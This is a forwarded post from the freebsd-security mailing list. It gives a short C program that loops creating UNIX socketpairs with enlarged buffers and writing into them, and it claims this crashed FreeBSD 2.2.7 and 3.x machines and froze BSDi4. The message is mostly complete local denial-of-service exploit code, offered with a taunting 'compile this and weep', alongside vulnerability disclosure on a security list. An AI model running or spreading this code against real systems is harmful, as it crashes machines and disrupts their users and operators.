Dear /etc
compile this code snipplet and wheep ...
it crashed and mutilated our 227 and 3x boxen..
BSDi4 just freezes a couple of seconds,
bye
--#include <unistd.h> #include <sys/socket.h> #include <fcntl.h>
#define BUFFERSIZE 204800 /* kiddy var le surgery */ extern int main(void) { int p[2], i; char crap[BUFFERSIZE];
while (1) { if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1) break; i = BUFFERSIZE; setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int)); setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int)); fcntl(p[0], F_SETFL, O_NONBLOCK); fcntl(p[1], F_SETFL, O_NONBLOCK); write(p[0], crap, BUFFERSIZE); write(p[1], crap, BUFFERSIZE); } exit(0); }
To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message -- end of forwarded message --
-- С тем, что не помешает никогда, Kittle